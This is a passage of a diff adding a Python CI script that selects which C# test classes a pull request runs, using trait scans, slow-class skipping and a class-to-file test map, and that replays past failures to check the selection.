+    nested declaration. Splitting on the last '.' alone left `Outer+Inner` as the "simple name", found no such class
+    in the tree, and so never counted a nested failure as a miss (#5459)."""
+    head = re.split(r"[+/]", cls, maxsplit=1)[0]
+    return head.rpartition(".")[0], re.split(r"[.+/]", cls)[-1]
+
+
+def _walk_classes(root: str):
+    """Yield (suite, repo-relative file with '/', simple class name, {"Key=Value", ...}) for every class declaration."""
+    for suite, rel in SUITE_DIRS.items():
+        base = os.path.join(root, rel)
+        for dp, dn, fn in os.walk(base):
+            dn[:] = [d for d in dn if d not in ("bin", "obj")]
+            for f in fn:
+                if not f.endswith(".cs"):
+                    continue
+                path = os.path.join(dp, f)
+                try:
+                    with open(path, encoding="utf-8-sig") as fh:
+                        lines = fh.read().split("\n")
+                except OSError:
+                    continue
+                relfile = os.path.relpath(path, root).replace(os.sep, "/")
+                gated = any(GATE_ENV_LITERAL.search(line) for line in lines)
+                for n, line in enumerate(lines):
+                    m = _CLASS_DECL.match(line)
+                    if not m:
+                        continue
+                    traits: set[str] = {GATE_TRAIT} if gated else set()
+                    j = n - 1
+                    while j >= 0:
+                        s = lines[j].strip()
+                        if s.startswith(("[", "///", "//", "*", "/*")) or s.endswith("*/") or s == "" and False:
+                            traits.update(f"{k}={v}" for k, v in _TRAIT.findall(s))
+                            j -= 1
+                        else:
+                            break
+                    yield suite, relfile, m.group(1), traits
+
+
+def scan_classes(root: str = ROOT) -> dict[str, dict[str, set[str]]]:
+    """{suite: {simple class name: {"Key=Value", ...}}} read from the test sources."""
+    out: dict[str, dict[str, set[str]]] = {suite: {} for suite in SUITE_DIRS}
+    for suite, _file, name, traits in _walk_classes(root):
+        out[suite].setdefault(name, set()).update(traits)
+    return out
+
+
+def class_selected(suite: str, traits: set[str], d: dict) -> bool:
+    """Would today's rules run this class for this decision?"""
+    guard = "Stage=Guard" in traits
+    if suite == "darling":
+        if guard and d["guard_run"]:
+            return True
+        # The build job's no-store pass runs the whole suite (full) or only the Guard stage; the shards run every class.
+        reads_lite = "Reads=Lite" in traits
+        return d["darling_scope"] == "full" or d["darling_pg"] \
+            or (d["tree_guards"] and (d["tree_scope"] == "full" or reads_lite)) \
+            or (d["darling_scope"] == "guard" and guard) \
+            or (d["darling_scope"] == "reads-lite" and (guard or reads_lite))
+    if suite == "lite":
+        if guard and d["guard_run"]:
+            return True
+        if d["lite_mode"] in ("full", "release"):
+            return True
+        return d["lite_mode"] == "reads" and "Reads=Darling" in traits
+    if suite == "dashboard":
+        return d["build_dashboard_tests"]
+    if suite == "installer":
+        return d["build_installer_tests"]
+    return True
+
+
+# ---------------------------------------------------------------------------------------------------------
+# Slow classes: pull requests skip them unless the change reaches them (#5459, change 5).
+# ---------------------------------------------------------------------------------------------------------
+#
+# A class tagged [Trait("Cost", "Slow")] is slow, has never failed in the corpus, and is covered by the push to dev
+# one merge later. A pull_request run leaves it out unless the change reaches it. Push, merge-queue, nightly and
+# release runs run every class: slow_skip answers nothing for them. This is a separate pass over the classes a leg
+# already chose, not part of darling_scope or lite_scope, so a new scope composes with it.
+#
+# "Reaches it", from the changed file names alone (the same cheap signal the area filters use):
+#   * the file is a source file the class is declared in;
+#   * the file's name (without the extension) appears as a word in the class's source, which is how a test names the
+#     product file, harness script or helper it exercises;
+#   * a .js/.mjs/.css/.html file, and a class whose source names a .js or .mjs file (the Node-driven classes load
+#     scripts through a harness that imports others);
+#   * any non-.cs file inside the class's own test project (a csproj, a fixture, a harness), or a build input
+#     (the workflow, this script, the shard scripts, a props/csproj/lock file, global.json).
+# When the changed file list is unknown (the API call failed, or it came back empty) nothing is skipped.
+
+SLOW_TRAIT = "Cost=Slow"
+_BUILD_INPUT_NAMES = {"directory.build.props", "directory.build.targets", "directory.packages.props", "global.json",
+                      "nuget.config", "packages.lock.json"}
+_BUILD_INPUT_PATHS = {".github/workflows/build.yml", ".github/scripts/ci-select.py", ".github/darling-paths-filter.yml",
+                      ".github/scripts/run-darling-pg-shard.ps1", ".github/scripts/run-lite-shard.ps1",
+                      ".github/scripts/lite-shard-pack.py"}
+_BUILD_INPUT_SUFFIXES = (".csproj", ".props", ".targets", ".sln", ".slnx")
+_WEB_SUFFIXES = (".js", ".mjs", ".css", ".html")
+
+
+def scan_slow(root: str = ROOT) -> dict[str, dict[str, list[str]]]:
+    """{suite: {class: [repo-relative source files]}} for every class tagged Cost=Slow (a Guard class never counts:
+    the Guard stage runs on every pull request)."""
+    files: dict[tuple[str, str], list[str]] = {}
+    traits: dict[tuple[str, str], set[str]] = {}
+    for suite, relfile, name, t in _walk_classes(root):
+        files.setdefault((suite, name), [])
+        if relfile not in files[(suite, name)]:
+            files[(suite, name)].append(relfile)
+        traits.setdefault((suite, name), set()).update(t)
+    out: dict[str, dict[str, list[str]]] = {suite: {} for suite in SUITE_DIRS}
+    for (suite, name), t in traits.items():
+        if SLOW_TRAIT in t and "Stage=Guard" not in t:
+            out[suite][name] = sorted(files[(suite, name)])
+    return out
+
+
+class SlowIndex:
+    """The Cost=Slow classes of the tree and what reaches them."""
+
+    def __init__(self, root: str = ROOT) -> None:
+        self.root = root
+        self.slow = scan_slow(root)
+        self._text: dict[tuple[str, str], str] = {}
+        self._words: dict[tuple[str, str], set[str]] = {}
+
+    def text(self, suite: str, name: str) -> str:
+        key = (suite, name)
+        if key not in self._text:
+            parts = []
+            for rel in self.slow[suite][name]:
+                try:
+                    with open(os.path.join(self.root, rel), encoding="utf-8-sig") as fh:
+                        parts.append(fh.read())
+                except OSError:
+                    pass
+            self._text[key] = "\n".join(parts)
+        return self._text[key]
+
+    def words(self, suite: str, name: str) -> set[str]:
+        """The class source's words (letters, digits, underscore, hyphen), the unit a file stem is matched against."""
+        key = (suite, name)
+        if key not in self._words:
+            self._words[key] = set(re.findall(r"[\w-]+", self.text(suite, name)))
+        return self._words[key]
+
+    def skip(self, files: list[str], event: str, base_ref: str = "") -> dict[str, list[str]]:
+        """{suite: [simple class names a leg leaves out]} for one change. Empty for every event but pull_request,
+        for a pull request into main (narrows), and when the changed file list is unknown."""
+        out: dict[str, list[str]] = {suite: [] for suite in SUITE_DIRS}
+        if not narrows(event, base_ref) or not files:
+            return out
+        changed = set(files)
+        # Everything about the change is computed once; a class is then a few set lookups.
+        stems: set[str] = set()
+        odd_stems: set[str] = set()
+        exts: set[str] = set()
+        build_input = False
+        for f in changed:
+            low = f.lower()
+            base = f.rsplit("/", 1)[-1]
+            stem, dot, ext = base.rpartition(".")
+            ext = dot + ext.lower() if dot else ""
+            if low in _BUILD_INPUT_PATHS or base.lower() in _BUILD_INPUT_NAMES or low.endswith(_BUILD_INPUT_SUFFIXES):
+                build_input = True
+            if stem:
+                (stems if re.fullmatch(r"[\w-]+", stem) else odd_stems).add(stem)
+            if ext in _WEB_SUFFIXES:
+                exts.add(ext)
+        if build_input:
+            return out
+        for suite, classes in self.slow.items():
+            test_dir = SUITE_DIRS[suite].replace(os.sep, "/") + "/"
+            if any(f.startswith(test_dir) and not f.endswith(".cs") for f in changed):
+                continue
+            for name, own in classes.items():
+                text = self.text(suite, name)
+                reached = bool(changed.intersection(own)) or bool(stems & self.words(suite, name)) \
+                    or any(re.search(r"(?<![\w-])" + re.escape(x) + r"(?![\w-])", text) for x in odd_stems) \
+                    or (bool(exts) and (".mjs" in text or any(e in text for e in exts)))
+                if not reached:
+                    out[suite].append(name)
+            out[suite].sort()
+        return out
+
+
+def changed_files_of_pr(repo: str, pr: str) -> list[str]:
+    """The pull request's changed files (both sides of a rename) through `gh api`; [] when the call fails."""
+    import subprocess
+    try:
+        r = subprocess.run(["gh", "api", f"repos/{repo}/pulls/{pr}/files", "--paginate", "--jq",
+                            '.[] | .filename, (.previous_filename // empty)'],
+                           capture_output=True, text=True, timeout=120)
+    except (OSError, subprocess.SubprocessError) as e:
+        print(f"slow-skip: could not list the pull request's files ({e}); skipping nothing", file=sys.stderr)
+        return []
+    if r.returncode != 0:
+        print(f"slow-skip: gh api exited {r.returncode}; skipping nothing", file=sys.stderr)
+        return []
+    out = [ln.strip() for ln in r.stdout.splitlines() if ln.strip()]
+    if len(out) >= 3000:  # the API lists at most 3000 files, so a list this long may be cut: do not trust it
+        print("slow-skip: the file list may be truncated; skipping nothing", file=sys.stderr)
+        return []
+    return out
+
+
+def load_accepted(path: str = ACCEPTED) -> set[tuple[str, str]]:
+    """The rows today's rules miss for a reason that is not a selection gap. One `<sha prefix> <class>` per line,
+    the reason in a `#` comment above the group. A miss that is not listed here fails the replay."""
+    out: set[tuple[str, str]] = set()
+    if os.path.exists(path):
+        with open(path, encoding="utf-8") as fh:
+            for line in fh:
+                line = line.split("#", 1)[0].strip()
+                if line:
+                    sha, cls = line.split()[:2]
+                    out.add((sha, cls))
+    return out
+
+
+def replay(corpus: str = CORPUS, root: str = ROOT, quiet: bool = False) -> int:
+    rules = Rules()
+    accepted = load_accepted()
+    accepted_seen = 0
+    tree = scan_classes(root)
+    slow = SlowIndex(root)
+    rows = checked = misses = exempt = 0
+    gone: set[str] = set()
+    missed: list[str] = []
+    with open(corpus, encoding="utf-8") as fh:
+        for line in fh:
+            if not line.strip():
+                continue
+            row = json.loads(line)
+            rows += 1
+            d = decide(row["changed_files"], row["event"], rules)
+            skipped = slow.skip(row["changed_files"], row["event"])
+            for cls in row["failed_classes"]:
+                prefix, simple = split_failed_class(cls)
+                suite = SUITE_BY_PREFIX.get(prefix)
+                if suite is None:
+                    continue
+                traits = tree.get(suite, {}).get(simple)
+                if traits is None:
+                    exempt += 1
+                    gone.add(cls)
+                    continue
+                checked += 1
+                if simple in skipped.get(suite, ()) or not class_selected(suite, traits, d):
+                    if (row["head_sha"][:10], cls) in accepted:
+                        accepted_seen += 1
+                        continue
+                    misses += 1
+                    missed.append(f"{row['date']} {row['head_sha'][:10]} {cls} files={len(row['changed_files'])}"
+                                  f" e.g. {row['changed_files'][0]}")
+    if not quiet:
+        print(f"replay: {rows} rows, {checked} failing classes checked, {exempt} exempt (class no longer in the tree: "
+              f"{len(gone)} distinct), {accepted_seen} accepted misses "
+              f"(replay-accepted.txt), {misses} misses")
+        for m in missed[:40]:
+            print("MISS", m)
+    return misses
+
+
+# ---------------------------------------------------------------------------------------------------------
+# Selection from a class-to-file map (#5459 change 4, slice 1: nothing in build.yml calls this yet).
+# ---------------------------------------------------------------------------------------------------------
+
+MAP_SCHEMA = 1
+MAP_MAX_AGE_DAYS = 7
+MAP_MAX_DRIFT = 300
+
+# Files whose change can alter any test in ways a call map cannot see: the build and restore configuration.
+# selection_args() adds the root and shared-library areas read from build.yml, so the lists cannot disagree.
+KEEP_FULL = (
+    ".github/workflows/build.yml",
+    "Directory.Build.props",
+    "Directory.Build.targets",
+    "Directory.Packages.props",
+    "global.json",
+    "nuget.config",
+    "NuGet.config",
+    "**/*.csproj",
+    "**/*.props",
+    "**/*.targets",
+    "**/packages.lock.json",
+    "**/xunit.runner.json",
+)
+
+# The documentation allowlist (the `docs` filter in build.yml); selection_args() passes the live one.
+DOC_PATTERNS = (
+    "**/*.md",
+    "LICENSE",
+    "CITATION.cff",
+    ".gitignore",
+    ".gitattributes",
+    "llms.txt",
+    "tools/changelog/archive-census.txt",
+    "docs/**/*.{md,svg,png,jpg,jpeg,gif}",
+    "Screenshots/**/*.{md,svg,png,jpg,jpeg,gif}",
+)
+
+
+_TEST_PROJECT_FILE = re.compile(r"(^|/)[^/]*Tests/")
+
+
+MAIN_BRANCH = "main"
+
+
+def narrows(event: str, base_ref: str = "") -> bool:
+    """Whether a run may run less than everything: only a pull_request whose base branch is not `main` (#5459).
+    A pull request into main is the release gate (dev to main), so it runs every class, Cost=Slow ones included.
+    An empty or absent base ref keeps the old behaviour: the replay corpus rows carry none."""
+    if event != "pull_request":
+        return False
+    ref = (base_ref or "").strip()
+    if ref.startswith("refs/heads/"):
+        ref = ref[len("refs/heads/"):]
+    return ref != MAIN_BRANCH
+
+
+def _full(reason: str) -> dict:
+    return {"full": True, "reason": reason, "selected": {}, "why": {}, "seconds": {}, "total": {}}
+
+
+def _ids(value: object, universe: list) -> set[str]:
+    """Paths for a list of file ids. An id is an index into the map's `files`; a string is taken as the path itself."""
+    out: set[str] = set()
+    if value is None:
+        return out
+    if isinstance(value, (int, str)):
+        value = [value]
+    for v in value:  # type: ignore[union-attr]
+        if isinstance(v, bool):
+            continue
+        if isinstance(v, int):
+            if 0 <= v < len(universe):
+                out.add(universe[v])
+        elif isinstance(v, str):
+            out.add(v)
+    return out
+
+
+def _seconds(entry: dict) -> float:
+    v = entry.get("seconds", 0)
+    return float(v) if isinstance(v, (int, float)) and not isinstance(v, bool) else 0.0
+
+
+def _parse_time(text: object) -> "datetime.datetime | None":
+    if not isinstance(text, str):
+        return None
+    try:
+        t = datetime.datetime.fromisoformat(text.replace("Z", "+00:00"))
+    except ValueError:
+        return None
+    return t if t.tzinfo else t.replace(tzinfo=datetime.timezone.utc)
+
+
+def map_select(test_map: object, changed: list[str], drift: "list[str] | None", discovered: dict,
+               *, event: str = "pull_request", keep_full: "tuple[str, ...] | list[str]" = KEEP_FULL,
+               doc_patterns: "tuple[str, ...] | list[str]" = DOC_PATTERNS,
+               now: "datetime.datetime | None" = None, max_age_days: "float | None" = MAP_MAX_AGE_DAYS,
+               max_drift: int = MAP_MAX_DRIFT, base_ref: str = "") -> dict:
+    """Which test classes a pull request runs, from a class-to-file map. Pure: no file, git or clock access
+    (`now` is the clock; `max_age_days=None` turns the age check off, for a replay of old runs).
+
+    Schema 1 of the map (nightly's `test-map.json.gz`):
+
+        {"schema": 1, "sha": "<commit the map was built at>", "built_at": "<ISO 8601 UTC>", "tool": "<producer>",
+         "files": ["<repo path>", ...],                       # the universe; an id below is an index into it
+         "classes": {"<suite>": {"<Class>": {"own": <id or [ids]>,       # the class's own source file(s)
+                                             "files": [<id>, ...],       # every file the class ran code from
+                                             "seconds": <float>}}},      # its last measured run time
+         "text_patterns": {"<Class>": ["<glob>", ...] or "tree"}}        # sources read as text; "tree" = any
+
+    Arguments: `changed` is the pull request's files; `drift` the files changed between the map's commit and the
+    merge base (None when they could not be computed); `discovered` is `{suite: {Class: {"Key=Value", ...}}}` as
+    scan_classes() returns it, which is how a class the map has never seen is found.
+
+    A class is selected when it carries Stage=Guard, its own file changed, it covers a changed file, a text pattern
+    of it matches a changed file, it reads the whole tree and any non-documentation file changed, or the map has
+    never seen it. A file changed since the map counts as changed too (it may have grown new call edges).
+    A keep-full file forces FULL only when the pull request's own change holds it: one that changed on dev since
+    the map goes through the class links like any other drifted file.
+
+    Returns `{"full": bool, "reason": str, "selected": {suite: [Class, ...]}, "why": {suite: {Class: reason}},
+    "seconds": {suite: float}, "total": {suite: int}}`. FULL (never "nothing") whenever the map cannot be trusted:
+    missing, unreadable, wrong schema, too old, drift over `max_drift` files, a keep-full file, a file the map knows
+    nothing about, or any event but a pull request. That includes a new product .cs file: types found by reflection,
+    DI or attribute scanning change what a census class sees without any file it covers changing. The one exception
+    is a new .cs file under a test project (a `*Tests/` or `*.Tests/` directory) while `discovered` holds a class the
+    map has never seen; that class runs as a "new class"."""
+    if event != "pull_request":
+        return _full(f"event {event or '(none)'} always runs everything")
+    if not narrows(event, base_ref):
+        return _full("a pull request into main always runs everything")
+    if test_map is None:
+        return _full("no test map")
+    if not isinstance(test_map, dict):
+        return _full("test map unreadable")
+    if test_map.get("schema") != MAP_SCHEMA:
+        return _full(f"test map schema {test_map.get('schema')!r}, expected {MAP_SCHEMA}")
+    universe = test_map.get("files")
+    classes = test_map.get("classes")
+    patterns = test_map.get("text_patterns", {})
+    if not isinstance(universe, list) or not isinstance(classes, dict) or not isinstance(patterns, dict):
+        return _full("test map unreadable")
+    if max_age_days is not None:
+        built = _parse_time(test_map.get("built_at"))
+        if built is None:
+            return _full("test map has no readable build time")
+        clock = now or datetime.datetime.now(datetime.timezone.utc)
+        if clock - built > datetime.timedelta(days=max_age_days):
+            return _full(f"test map older than {max_age_days:g} days")
+    if drift is None:
+        return _full("drift since the map's commit unknown")
+    if len(drift) > max_drift:
+        return _full(f"{len(drift)} files changed since the map (over {max_drift})")
+
+    # Keep-full is about THIS pull request's own change (merge base to head). A keep-full file that only changed on dev
+    # since the map's commit is not this pull request's doing and the dev run that merged it already tested it, so it
+    # goes through the class links like any other drifted file (#5459: ten pull requests were FULL for that alone).
+    for f in changed:
+        if any(matches(p, f) for p in keep_full):
+            return _full(f"{f} is a keep-full file")
+    effective = list(dict.fromkeys(list(changed) + list(drift)))
+    live = [f for f in effective if not any(matches(p, f) for p in doc_patterns)]
+    live_names = set(live)
+
+    known: set[str] = {u for u in universe if isinstance(u, str)}
+    parsed: dict[str, dict[str, tuple[set[str], set[str]]]] = {}
+    for suite, entries in classes.items():
+        if not isinstance(entries, dict):
+            return _full("test map unreadable")
+        parsed[suite] = {}
+        for cls, e in entries.items():
+            if not isinstance(e, dict):
+                return _full("test map unreadable")
+            own, covered = _ids(e.get("own"), universe), _ids(e.get("files"), universe)
+            parsed[suite][cls] = (own, covered)
+            known |= own | covered
+    globs: dict[str, "list[str] | str"] = {}
+    for cls, p in patterns.items():
+        if p == "tree" or (isinstance(p, list) and all(isinstance(x, str) for x in p)):
+            globs[cls] = p
+        else:
+            return _full("test map unreadable")
+
+    docs_changed = [f for f in effective if f not in live_names]
+
+    def text_hit(cls: str) -> bool:
+        g = globs.get(cls)
+        if g == "tree":
+            return bool(live)
+        if not isinstance(g, list):
+            return False
+        # A class that reads a documentation file by name (the migration ladder reads CHANGELOG.md) is selected by a
+        # change to exactly that file; the documentation allowlist only keeps wildcard patterns from matching it.
+        return (any(matches(p, f) for p in g for f in live)
+                or any(p == f for p in g if "*" not in p for f in docs_changed))
+
+    new_classes = any(cls not in parsed.get(suite, {}) for suite, found in discovered.items() for cls in found)
+    for f in live:
+        if f in known:
+            continue
+        if any(isinstance(g, list) and any(matches(p, f) for p in g) for g in globs.values()):
+            continue
+        if f.endswith(".cs"):
+            if _TEST_PROJECT_FILE.search(f) and new_classes:
+                continue  # a new test file: its classes are found through `discovered`
+            return _full(f"new file not in the map: {f}")
+        return _full(f"{f} is in no class, no text pattern and not in the map")
+
+    # A class the map has never seen runs because `discovered` lists it. If the tree scan found no class at all for a
+    # suite the map has classes for, the scan itself is broken and every new class would be silently left out.
+    for suite, entries in parsed.items():
+        if entries and not discovered.get(suite):
+            return _full(f"no test class was found in the tree for suite {suite}")
+
+    live_set = set(live)
+    selected: dict[str, list[str]] = {}
+    why: dict[str, dict[str, str]] = {}
+    seconds: dict[str, float] = {}
+    total: dict[str, int] = {}
+    for suite in sorted(set(parsed) | set(discovered)):
+        found = discovered.get(suite, {})
+        mapped = parsed.get(suite, {})
+        reasons: dict[str, str] = {}
+        for cls, (own, covered) in mapped.items():
+            if live_set & own:
+                reasons[cls] = "own file changed"
+            elif live_set & covered:
+                reasons[cls] = "covers a changed file"
+            elif text_hit(cls):
+                reasons[cls] = "reads the tree" if globs.get(cls) == "tree" else "text pattern"
+        for cls, traits in found.items():
+            if cls not in mapped:
+                reasons[cls] = "new class"
+            elif "Stage=Guard" in traits:
+                reasons.setdefault(cls, "guard stage")
+            if GATE_TRAIT in traits:
+                reasons.setdefault(cls, "gated on an environment the map shards lack")
+        selected[suite] = sorted(reasons)
+        why[suite] = {c: reasons[c] for c in sorted(reasons)}
+        seconds[suite] = round(sum(_seconds(classes[suite][c]) for c in reasons if c in mapped), 3)
+        total[suite] = len(set(mapped) | set(found))
+    return {"full": False, "reason": "", "selected": selected, "why": why, "seconds": seconds, "total": total}
+
+
+def load_map(path: str) -> "dict | None":
+    """The map file (plain or gzip), or None when it is missing or not JSON."""
+    try:
+        opener = gzip.open if path.endswith(".gz") else open
+        with opener(path, "rt", encoding="utf-8") as fh:  # type: ignore[operator]
+            return json.load(fh)
+    except (OSError, ValueError):
+        return None
+
+
+def git_drift(map_sha: str, base: str, root: str = ROOT) -> "list[str] | None":
+    """`git diff --no-renames --name-only <map sha>..<base>`: both paths of a rename count. None when git cannot say."""
+    try:
+        out = subprocess.run(["git", "-C", root, "diff", "--no-renames", "--name-only", f"{map_sha}..{base}"],
+                             capture_output=True, text=True, timeout=120, check=True).stdout
+    except (OSError, subprocess.SubprocessError):
+        return None
+    return [ln.strip() for ln in out.split("\n") if ln.strip()]
+
+
+def selection_args(rules: Rules) -> dict:
+    """The keep-full and documentation patterns, read from the same filters the workflow evaluates."""
+    keep = list(KEEP_FULL)
+    for name in ("root", "core", "installer_core"):
+        keep.extend(rules.build.get(name, []))
+    return {"keep_full": tuple(dict.fromkeys(keep)), "doc_patterns": tuple(rules.build["docs"])}
+
+
+def map_replay(test_map: "dict | None", corpus: str = CORPUS, root: str = ROOT, quiet: bool = False,
+               misses_out: "str | None" = None) -> int:
+    """Like replay(), but asks the map: would each failing class of each corpus row have been selected, taking the map
+    as current (no drift, no age check)? Returns the miss count. Reports only; the caller does not fail on it yet.
+    The printed list is capped at 40; `misses_out` names a file that gets EVERY miss as one JSON row per line
+    (date, event, head_sha, suite, class, changed_files), so none goes unclassified (#5459)."""
+    extra = selection_args(Rules())
+    accepted = load_accepted()
+    tree = scan_classes(root)
+    rows = checked = misses = full_rows = accepted_seen = 0
+    missed: list[str] = []
+    rows_out: list[dict] = []
+    with open(corpus, encoding="utf-8") as fh:
+        for line in fh:
+            if not line.strip():
+                continue
+            row = json.loads(line)
+            rows += 1
+            sel = map_select(test_map, row["changed_files"], [], tree, event=row["event"], max_age_days=None, **extra)
+            full_rows += bool(sel["full"])
+            for cls in row["failed_classes"]:
+                prefix, simple = split_failed_class(cls)
+                suite = SUITE_BY_PREFIX.get(prefix)
+                if suite is None or simple not in tree.get(suite, {}):
+                    continue
+                checked += 1
+                if sel["full"] or simple in sel["selected"].get(suite, []):
+                    continue
+                if (row["head_sha"][:10], cls) in accepted:
+                    accepted_seen += 1
+                    continue
+                misses += 1
+                missed.append(f"{row['date']} {row['head_sha'][:10]} {cls} files={len(row['changed_files'])}"
+                              f" e.g. {row['changed_files'][0]}")
+                rows_out.append({"date": row["date"], "event": row["event"], "head_sha": row["head_sha"],
+                                 "suite": suite, "class": cls, "changed_files": row["changed_files"]})
+    if not quiet:
+        print(f"map replay: {rows} rows ({full_rows} FULL), {checked} failing classes checked, {accepted_seen} accepted, "
+              f"{misses} misses (reported, not failing yet)")
+        for m in missed[:40]:
+            print("MAP-MISS", m)
+        if len(missed) > 40:
+            print(f"... {len(missed) - 40} more misses not printed; --misses-out FILE lists every one")
+    if misses_out:
+        with open(misses_out, "w", encoding="utf-8", newline="\n") as out:
+            for r in rows_out:
+                out.write(json.dumps(r, sort_keys=True) + "\n")
+    return misses
+
+
+def map_keep(selection: object, suite: str) -> "tuple[set[str] | None, str]":
+    """The class names a shard of `suite` keeps, from the selection `map-select --out` wrote (#5459, live selection).
+
+    Returns (names, reason). `names` is None, meaning the shard runs everything it was cut, whenever the selection
+    cannot be trusted: it is missing, not a JSON object, FULL, has no list of names for the suite, a name that is not
+    text, or an empty list. Empty is distrusted on purpose: the Guard classes are always selected, so a selection with
+    no class in it for a suite means the selection broke, not that nothing needs to run."""
+    if not isinstance(selection, dict):
+        return None, "the selection is missing or unreadable"
+    if selection.get("full") is not False:
+        return None, f"the selection is FULL ({selection.get('reason') or 'no reason given'})"
+    chosen = selection.get("selected")
+    names = chosen.get(suite) if isinstance(chosen, dict) else None
+    if not isinstance(names, list) or not names or not all(isinstance(n, str) and n for n in names):
+        return None, f"the selection holds no usable class list for the {suite} suite"
+    return set(names), ""
+
+
+def shadow_summary(result: dict) -> str:
+    """The step-summary text of the selection job: how many classes the map picked, and the estimated seconds."""
+    lines = ["### Test map selection (#5459): the Darling PG, Lite and no-store Darling passes run only the classes below", ""]
+    if result.get("full"):
+        lines.append(f"Selection: FULL ({result.get('reason') or 'no reason given'}), so every shard ran everything.")
+        return "\n".join(lines) + "\n"
+    lines += ["Estimated seconds are the nightly's instrumented times, so they read high.", "",
+              "| suite | selected classes | of | estimated seconds |", "|---|---|---|---|"]
+    for suite in sorted(result.get("selected", {})):
+        lines.append(f"| {suite} | {len(result['selected'][suite])} | {result['total'].get(suite, 0)} | "
+                     f"{result['seconds'].get(suite, 0):.0f} |")
+    for suite in sorted(result.get("why", {})):
+        counts: dict[str, int] = {}
+        for reason in result["why"][suite].values():
+            counts[reason] = counts.get(reason, 0) + 1
+        lines.append(f"- {suite} by reason: " + ", ".join(f"{k} {v}" for k, v in sorted(counts.items())))
+    return "\n".join(lines) + "\n"
+
+
+REPORT_ATTEMPT = re.compile(r"-a(\d+)\.xml$")
+
+
+def failed_classes(reports: str) -> "tuple[dict[str, set[str]], dict[str, int], int]":
+    """The classes with a failed test in the xunit reports under `reports`, one subfolder per uploaded artifact: the
+    shards' `darling-tests-timing-N` and `lite-tests-timing-N`, and the Guard tests job's `guard-tests-timing-darling`
+    and `guard-tests-timing-lite` (#5459). The suite is the one the folder name says.
+
+    A report named `...-a<N>.xml` was written by run attempt N. Staleness is decided per artifact folder: within a
+    folder, the reports of the highest attempt present are kept and the reports of a lower attempt are left out and
+    counted as stale. A shard that failed in attempt 1 and passed in attempt 2 uploads its artifact again with
+    `overwrite`, so the folder holds attempt 2 only; if an old attempt-1 file is still there, it must not list its
+    attempt-1 class (#5459, run 37776652739). A shard that passed in attempt 1 is not re-run by "Re-run failed jobs",
+    so its folder still holds only `-a1` files and they count in attempt 2. A report with no attempt in its name
+    always counts. Returns ({suite: {Class}}, {suite: report count}, stale report count)."""
+    failed: dict[str, set[str]] = {"darling": set(), "lite": set()}
+    seen: dict[str, int] = {"darling": 0, "lite": 0}
+    stale = 0
+    if not os.path.isdir(reports):
+        return failed, seen, stale
+    # (artifact folder, path) of every report, with the attempt its name carries (None when it carries none).
+    found: list[tuple[str, str, "int | None"]] = []
+    for dirpath, _, names in os.walk(reports):
+        top = os.path.relpath(dirpath, reports).replace("\\", "/").split("/")[0]
+        for name in names:
+            if name.endswith(".xml"):
+                written_by = REPORT_ATTEMPT.search(name)
+                found.append((top, os.path.join(dirpath, name), int(written_by.group(1)) if written_by else None))
+    latest: dict[str, int] = {}
+    for top, _, written_by in found:
+        if written_by is not None:
+            latest[top] = max(latest.get(top, written_by), written_by)
+    for top, path, written_by in found:
+        suite = "darling" if "darling" in top else "lite" if "lite" in top else ""
+        if not suite:
+            continue
+        if written_by is not None and written_by < latest[top]:
+            stale += 1
+            continue
+        seen[suite] += 1
+        try:
+            for _, el in ET.iterparse(path, events=("end",)):
+                if el.tag == "test" and (el.get("result") or "").lower() == "fail":
+                    failed[suite].add(re.split(r"[.+/]", el.get("type") or "")[-1])
+                el.clear()
+        except (ET.ParseError, OSError):
+            seen[suite] -= 1  # an unreadable report counts as no report
+    return failed, seen, stale
+
+
+def failed_jobs(path: "str | None") -> "list[str] | None":
+    """Names of the jobs that concluded `failure`, from the latest attempt's job list (`gh api .../attempts/N/jobs`: one
+    `{"name", "conclusion"}` object per line, or the API's own `{"jobs": [...]}` object). None when it cannot be read.
+    A job that failed without a failed test (the whole-tree guards job ending on a leaked foreground thread) shows up
+    here and nowhere else."""
+    if not path:
+        return None
+    try:
+        with open(path, encoding="utf-8") as fh:
+            text = fh.read()
+    except OSError:
+        return None
+    items: list = []
+    try:
+        data = json.loads(text)
+        if isinstance(data, dict):
+            items = data["jobs"] if isinstance(data.get("jobs"), list) else [data]
+        elif isinstance(data, list):
+            items = data
+    except ValueError:
+        for line in text.splitlines():
+            try:
+                items.append(json.loads(line))
+            except ValueError:
+                continue
+    return sorted({str(j.get("name")) for j in items if isinstance(j, dict) and j.get("conclusion") == "failure"})
+
+
+def shadow_row(selection: "dict | None", failed: "dict[str, set[str]]", seen: "dict[str, int]", meta: dict,
+               stale: int = 0, jobs: "list[str] | None" = None) -> dict:
+    """One JSONL row per run: the selection's size and the classes that failed although it would not have run them.
+    A FULL (or missing) selection selects every class, so it can have no miss. `stale` counts the reports left out as
+    a lower attempt's in their artifact folder; `jobs` is the latest attempt's failed jobs (None when unknown)."""
+    if isinstance(selection, dict):
+        sel = selection
+    else:
+        # No selection file. When the selection job itself did not finish (a newer push cancels the run), say so: that
+        # is expected, not a script fault (#5459, run 37832135291).
+        job = str(meta.get("selection_job") or "")
+        sel = _full(f"the selection job ended {job}, so no selection was written" if job and job != "success"
+                    else "no selection was written")
+    misses: list[dict] = []
+    if not sel.get("full"):
+        for suite in sorted(failed):
+            chosen = set(sel.get("selected", {}).get(suite, []))
+            misses += [{"suite": suite, "class": c} for c in sorted(failed[suite]) if c not in chosen]
+    row = {"v": 1, **meta, "full": bool(sel.get("full")), "reason": sel.get("reason", ""),
+           "selected": {s: len(v) for s, v in sel.get("selected", {}).items()},
+           "total": sel.get("total", {}), "seconds": sel.get("seconds", {}),
+           "reports": seen, "stale_reports": stale, "failed": {s: sorted(v) for s, v in failed.items()},
+           "misses": misses}
+    if jobs is not None:
+        row["failed_jobs"] = jobs
+    return row
+
+
+# ---------------------------------------------------------------------------------------------------------
+# CLI.
+# ---------------------------------------------------------------------------------------------------------
+
+def _bool(s: str) -> bool:
+    return s.strip().lower() == "true"
+
+
+def main(argv: list[str]) -> int:
+    ap = argparse.ArgumentParser(description=__doc__.split("\n")[0])
+    ap.add_argument("--replay", action="store_true", help="replay the failure corpus against today's rules")
+    ap.add_argument("--corpus", default=CORPUS)
+    ap.add_argument("--map", help="with --replay: also replay the corpus against this class-to-file map (reports only)")
+    ap.add_argument("--misses-out", help="with --map: write every map miss, one JSON row per line, to this file")
+    sub = ap.add_subparsers(dest="cmd")
+
+    ls = sub.add_parser("lite-scope", help="how much of the Lite suite a leg runs (workflow step)")
+    ls.add_argument("--event", required=True)
+    ls.add_argument("--shard", required=True)
+    for k in ("lite", "core", "root", "reads", "linked"):
